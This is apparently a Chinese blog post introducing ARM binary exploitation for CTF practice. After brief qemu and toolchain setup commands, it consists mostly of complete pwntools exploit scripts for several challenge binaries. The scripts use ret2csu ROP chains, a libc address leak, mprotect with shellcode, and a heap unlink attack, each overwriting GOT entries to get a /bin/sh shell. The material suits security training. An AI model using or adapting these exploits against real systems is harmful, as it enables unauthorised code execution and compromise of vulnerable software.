arm-pwn


阅读数: 次   
字数统计: 2.3k字   |   阅读时长: 14分

arm-pwn入门

[TOC]

ARM-PWN

qemu

1
sudo apt-get install qemu-user qemu-system

gdb-multiarch

1
sudo apt-get install gdb-multiarch

ARM软件包

1
2
3
# 具备ARM交叉编译gcc与ARM程序动态链接库
sudo apt-get install gcc-arm-linux-gnueabi
sudo apt-get install gcc-aarch64-linux-gnu

image-20211109123440409

例题

HelloARM

TSCTF

ret2csu

学习arm堆栈的好题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python3
from pwn import *

global io

local = 0
ip = '127.0.0.1'
port = 1234

# elf
arch = 'aarch64'
filename = 'HelloARM'
endian = 'little'
elf = ELF(filename)
context(os='linux', arch=arch, log_level="debug", endian=endian)

# libc
local_libc = ELF("lib/libc.so.6")
remote_libc = ELF("lib/libc.so.6")


gadget1=0x400ad4
gadget2=0x400AAC
def csu(var1,var2,var3,offset,call_func):       #,ret_addr
    payload=''
    payload+=p64(0)+p64(gadget1)
    payload+=b'a'*(offset-0x10)
    payload+=p64(0)+p64(gadget2)
    ## 0x350 sp+0x18-->x20 sp+0x20-->x21
    payload += p64(0) + p64(1) + p64(call_func)
    ## x22 x23
    payload += p64(var1) + p64(var2)
    ## x24
    payload += p64(var3)
    ## ret_addr        x29 x30                                     ##sp-->0x380   gadget2
    # payload += p64(0) + p64(ret_addr)


def pwn():

    ### ret_Addr=0x400A5C  0x4009C4

    io.recvuntil(b"Magic number:0x")
    addr=int(io.recv(10),16)
    success("addr:"+hex(addr))
    io.recvuntil(b"Set your name:")
    io.send(b'a'*(0x10))
    io.recvuntil(b"Hello ")
    io.recvuntil(b'a'*(0x10))
    fd=u32(io.recv(1).ljust(4,b'\x00'))
    success("fd:"+hex(fd))
    io.recvuntil(b"Set your message:")

    payload=b'a'*(0x50)+b'b'*(0x50)+b'c'*(0x50)+b'd'*(0x10)
    payload+=p64(addr)+p64(gadget1)                         ##0x110  addr=0x240
    payload+=b'x'*(0x110)                                   ##0x120  sp-->0x340  gadget1
    ## sp=0x340 sp+0x18  0x358
    payload+=p64(addr)+p64(gadget2)
    ## 0x350 0x358-->x20 0x360-->x21
    payload+=p64(0)+p64(1)+p64(elf.got['read'])
    ## x22 x23
    payload+=p64(fd)+p64(elf.bss())
    ## x24
    payload += p64(0x50)
    ## ret_addr        x29 x30                                     ##sp-->0x380   gadget2
    payload+=p64(addr)+p64(gadget1)
    ## x3=x21
    ## x2=x24
    ## x1=x23
    ## w0=w22
    payload+=b'a'*(0x30)
    payload+=p64(addr)+p64(gadget2)
    payload += p64(0) + p64(1) + p64(elf.got['write'])
    ## x22 x23
    payload += p64(1) + p64(elf.bss())
    ## x24
    payload += p64(0x50)

    io.send(payload)


if __name__ == '__main__':
    if local == 0:
        io = process(["qemu-aarch64", "-L", "./", "./" + filename])
        libc = local_libc
        # ld = local_ld
    elif local == 1:
        io = process(["qemu-aarch64", '-g', '1234', "-L", "./", "./" + filename])
        libc = local_libc
        # ld = local_ld
    else:
        io = remote(ip, port)
        libc = remote_libc
        # ld = remote_ld

    pwn()
    io.interactive()

HelloARM plus

getshell

注意x29

选取地址时注意一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#!/usr/bin/env python3
from pwn import *

global io

local = 0
ip = '127.0.0.1'
port = 1234

# elf
arch = 'aarch64'
filename = 'HelloARM'
endian = 'little'
elf = ELF(filename)
context(os='linux', arch=arch, log_level="debug", endian=endian)

# libc
local_libc = ELF("lib/libc.so.6")
remote_libc = ELF("lib/libc.so.6")


gadget1=0x400ad4
gadget2=0x400AAC
def csu(var1,var2,var3,ebp,offset,call_func):       #,ret_addr
    payload=b''
    payload+=p64(ebp)+p64(gadget1)
    payload+=b'a'*(offset-0x10)
    payload+=p64(ebp)+p64(gadget2)
    ## 0x350 sp+0x18-->x20 sp+0x20-->x21
    payload += p64(0) + p64(1) + p64(call_func)
    ## x22 x23
    payload += p64(var1) + p64(var2)
    ## x24
    payload += p64(var3)
    ## ret_addr        x29 x30                                     ##sp-->0x380   gadget2
    # payload += p64(0) + p64(ret_addr)
    return payload


def pwn():

    ### ret_Addr=0x400A5C  0x4009C4

    ### HelloARM plus
	### change_puts_got
    io.recvuntil(b"Magic number:0x")
    addr = int(io.recv(10), 16)
    success("addr:" + hex(addr))
    io.recvuntil(b"Set your name:")
    io.send(b'a' * (0x10))
    io.recvuntil(b"Hello ")
    io.recvuntil(b'a' * (0x10))
    fd = u32(io.recv(1).ljust(4, b'\x00'))
    success("fd:" + hex(fd))
    io.recvuntil(b"Set your message:")
    main_addr = 0x400790
    payload = b'a' * (0x50) + b'b' * (0x50) + b'c' * (0x50) + b'd' * (0x10)
    payload += csu(1, elf.got['write'], 8, addr + 0x140, 0x120, elf.got['write'])
    payload += csu(0, elf.got['puts'], 0x8, addr + 0x180, 0x40, elf.got['read'])
    payload += p64(0) + p64(main_addr)
    io.send(payload)
    io.recvuntil(b"d"*(0x10))
    io.recv(4)
    write_addr=u64(io.recv(8))
    success("write_Addr:"+hex(write_addr))
    libcbase=write_addr-libc.symbols['write']
    success("libcbase:"+hex(libcbase))
    system_addr=libcbase+libc.symbols['system']
    success("system_Addr:"+hex(system_addr))
    binsh_addr=libcbase+next(libc.search(b"/bin/sh\x00"))
    success("binsh_addr:" + hex(binsh_addr))
    io.send(p64(system_addr))
    io.recvuntil(b"Magic number:0x")
    addr = int(io.recv(10), 16)
    success("addr:" + hex(addr))
    io.recvuntil(b"Set your name:")
    io.send(b'a' * (0x10))
    io.recvuntil(b"Hello ")
    io.recvuntil(b'a' * (0x10))
    fd = u32(io.recv(1).ljust(4, b'\x00'))
    success("fd:" + hex(fd))
    io.recvuntil(b"Set your message:")
    io.send(b'/bin/sh\x00')

	### csu_rop
    # io.recvuntil(b"Magic number:0x")
    # addr=int(io.recv(10),16)
    # success("addr:"+hex(addr))
    # io.recvuntil(b"Set your name:")
    # io.send(b'a'*(0x10))
    # io.recvuntil(b"Hello ")
    # io.recvuntil(b'a'*(0x10))
    # fd=u32(io.recv(1).ljust(4,b'\x00'))
    # success("fd:"+hex(fd))
    # io.recvuntil(b"Set your message:")
    # main_addr=0x400790
    # payload=b'a'*(0x50)+b'b'*(0x50)+b'c'*(0x50)+b'd'*(0x10)
    # payload+=csu(1,elf.got['write'],8,addr+0x140,0x120,elf.got['write'])
    # # payload+=p64(0)+p64(main_addr)
    # payload+=csu(0,elf.bss()+0x20,0x10,addr+0x180,0x40,elf.got['read'])
    # payload += p64(0) + p64(main_addr)
    #
    # io.send(payload)
    # io.recvuntil(b"d"*(0x10))
    # io.recv(4)
    # write_addr=u64(io.recv(8))
    # success("write_Addr:"+hex(write_addr))
    # libcbase=write_addr-libc.symbols['write']
    # success("libcbase:"+hex(libcbase))
    # system_addr=libcbase+libc.symbols['system']
    # success("system_Addr:"+hex(system_addr))
    # binsh_addr=libcbase+next(libc.search(b"/bin/sh\x00"))
    # success("binsh_addr:" + hex(binsh_addr))
    #
    # io.send(p64(system_addr)+b'/bin/sh'.ljust(8,b'\x00'))#
    # success("elf_bss:"+hex(elf.bss()))
    #
    # io.recvuntil(b"Magic number:0x")
    # addr = int(io.recv(10), 16)
    # success("addr:" + hex(addr))
    # io.recvuntil(b"Set your name:")
    # io.send(b'a'*(0x10))
    # io.recvuntil(b"Hello ")
    # io.recvuntil(b'a' * (0x10))
    # fd = u32(io.recv(1).ljust(4, b'\x00'))
    # success("fd:" + hex(fd))
    # io.recvuntil(b"Set your message:")
    # payload = b'a' * (0x50) + b'b' * (0x50) + b'c' * (0x50) + b'd' * (0x10)
    # payload += csu(elf.bss()+0x28,0,0, addr + 0x140, 0x120, elf.bss()+0x20)
    # # payload += p64(0) + p64(main_addr)
    # io.send(payload)

    #####
    # io.recvuntil(b"Magic number:0x")
    # addr = int(io.recv(10), 16)
    # success("addr:" + hex(addr))
    # io.recvuntil(b"Set your name:")
    # io.send(b'/bin/sh\x00'.ljust(0x10,b'\x00'))
    # io.recvuntil(b"Hello ")
    # # io.recvuntil(b'a' * (0x10))
    # # fd = u32(io.recv(1).ljust(4, b'\x00'))
    # # success("fd:" + hex(fd))
    # io.recvuntil(b"Set your message:")
    # payload = b'a' * (0x50) + b'b' * (0x50) + b'c' * (0x50) + b'd' * (0x10)
    # payload += csu(0x411080,0, 0, addr+0x140, 0x120, elf.bss())
    # # payload += p64(0) + p64(main_addr)
    # io.send(payload)




    ###### read_write ######
    # payload+=p64(addr)+p64(gadget1)                         ##0x110  addr=0x240
    # payload+=b'x'*(0x110)                                   ##0x120  sp-->0x340  gadget1
    # ## sp=0x340 sp+0x18  0x358
    # payload+=p64(addr)+p64(gadget2)
    # ## 0x350 0x358-->x20 0x360-->x21
    # payload+=p64(0)+p64(1)+p64(elf.got['read'])
    # ## x22 x23
    # payload+=p64(fd)+p64(elf.bss())
    # ## x24
    # payload += p64(0x50)
    # ## ret_addr        x29 x30                                     ##sp-->0x380   gadget2
    # payload+=p64(addr)+p64(gadget1)
    # ## x3=x21
    # ## x2=x24
    # ## x1=x23
    # ## w0=w22
    # payload+=b'a'*(0x30)
    # payload+=p64(addr)+p64(gadget2)
    # payload += p64(0) + p64(1) + p64(elf.got['write'])
    # ## x22 x23
    # payload += p64(1) + p64(elf.bss())
    # ## x24
    # payload += p64(0x50)

    # io.send(payload)


if __name__ == '__main__':
    if local == 0:
        io = process(["qemu-aarch64", "-L", "./", "./" + filename])
        libc = local_libc
        # ld = local_ld
    elif local == 1:
        io = process(["qemu-aarch64", '-g', '1234', "-L", "./", "./" + filename])
        libc = local_libc
        # ld = local_ld
    else:
        io = remote(ip, port)
        libc = remote_libc
        # ld = remote_ld

    pwn()
    io.interactive()

baby_arm

第三届华为杯 XMAN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python3
from pwn import *

global io

local = 0
ip = '127.0.0.1'
port = 1234

# elf
arch = 'aarch64'
filename = 'baby_arm_2018'
endian = 'little'
elf = ELF(filename)
context(os='linux', arch=arch, log_level="debug", endian=endian)

# libc
# local_libc = ELF("lib/libc.so.0")
# remote_libc = ELF("lib/libc.so.0")

gadget1=0x4008CC
gadget2=0x4008A8

def csu(var1,var2,var3,ebp,offset,call_func,ret_addr):
    payload=b''
    payload+=p64(ebp)+p64(gadget1)
    payload+=p64(ebp)+p64(gadget2)
    ## x19 x20
    payload+=p64(0)+p64(1)
    ## x21 x22
    payload+=p64(call_func)+p64(var3)
    ## x23 x24
    payload+=p64(var2)+p64(var1)
    ## x29 x30
    payload+=p64(ebp)+p64(ret_addr)
    return payload

def pwn():
    io.recvuntil(b"Name:")
    payload=asm(shellcraft.sh())
    io.send(payload.ljust(0x200,b'b'))
    sleep(1)
    # sleep(1)
    mprotect_addr=0x4007E0
    ###
    name_addr=0x411068
    start_addr=0x400610
    payload=b'a'*(0x40)
    payload+=p64(0)+p64(mprotect_addr)
    payload+=p64(0)+p64(start_addr)
    io.send(payload)

    io.recvuntil(b"Name:")
    payload = asm(shellcraft.sh())
    io.send(payload.ljust(0x200, b'b'))
    sleep(1)
    payload = b'a' * (0x40)
    payload+=csu(0x411000,0x1000,7,0,0x40,elf.got['mprotect'],name_addr)

    io.send(payload)

if __name__ == '__main__':
    if local == 0:
        io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./" + filename])
        # libc = local_libc
        # ld = local_ld
    elif local == 1:
        io = process(["qemu-aarch64", '-g', '1234', "-L", "/usr/aarch64-linux-gnu", "./" + filename])
        # libc = local_libc
        # ld = local_ld
    else:
        io = remote(ip, port)
        # libc = remote_libc
        # ld = remote_ld

    pwn()
    io.interactive()

pwnme

5space

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python3
from pwn import *

global io

local = 0
ip = '127.0.0.1'
port = 1234

# elf
arch = 'arm'
filename = 'pwnme'
endian = 'little'
elf = ELF(filename)
context(os='linux', arch=arch, log_level="debug", endian=endian)

# libc
local_libc = ELF("lib/libc.so.0")
remote_libc = ELF("lib/libc.so.0")

def add(idx,size,payload):
    io.recvuntil(b">>> ")
    io.sendline(b'2')
    io.recvuntil(b"Length:")
    io.sendline(str(size).encode())
    io.recvuntil(b"Tag:")
    io.send(payload)

def free(idx):
    io.recvuntil(b">>> ")
    io.sendline(b'4')
    io.recvuntil(b"Tag:")
    io.sendline(str(idx).encode())

def show(idx):
    io.recvuntil(b">>> ")
    io.sendline(b'1')

def edit(idx,size,payload):
    io.recvuntil(b">>> ")
    io.sendline(b'3')
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())
    io.recvuntil(b"Length:")
    io.sendline(str(size).encode())
    io.recvuntil(b"Tag:")
    io.send(payload)

def pwn():
    #### 0x21068
    add(0,0x68,b'aaaa')
    add(1, 0x38, b'bbbb')
    add(2,0xf8,b'bbbb')
    add(3, 0x20, b'/bin/sh\x00')

    target=0x21074
    fd=target-0xc
    bk=target-0x8
    payload=b'a'*(0x68)+p32(0)+p32(0x41)
    payload+=p32(0)+p32(0x39)+p32(fd)+p32(bk)+b'a'*(0x28)+p32(0x38)
    edit(0,len(payload),payload)
    free(2)

    payload=p32(0x100)+p32(elf.got['free'])+p32(0x100)+p32(0x21068)+p32(0x100)+p32(elf.got['atoi'])
    edit(1,0x18,payload)
    edit(0,0x4,p32(elf.plt['puts']))
    free(2)
    atoi_addr=u32(io.recv(4))
    success("atoi_addr:"+hex(atoi_addr))
    libcbase=atoi_addr-libc.symbols['atoi']
    success("libcbase:"+hex(libcbase))

    system_addr=libcbase+libc.symbols['system']
    success("system_addr:"+hex(system_addr))
    edit(0,0x4,p32(system_addr))
    free(3)


if __name__ == '__main__':
    if local == 0:
        io = process(["qemu-arm", "-L", "./", "./" + filename])
        libc = local_libc
        # ld = local_ld
    elif local == 1:
        io = process(["qemu-arm", '-g', '1234', "-L", "./", "./" + filename])
        libc = local_libc
        # ld = local_ld
    else:
        io = remote(ip, port)
        libc = remote_libc
        # ld = remote_ld

    pwn()
    io.interactive()


-------------本文结束感谢您的阅读-------------



赏

谢谢你请我吃糖果

扫一扫，分享到微信

微信分享二维码
本站总访问量次 本站访客数人次

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

朱登榜，来自河南郑州，河南大学学生，倘若文章有错误，望提醒修正，感谢！<br>qq:879322660<br>微信:z15981855791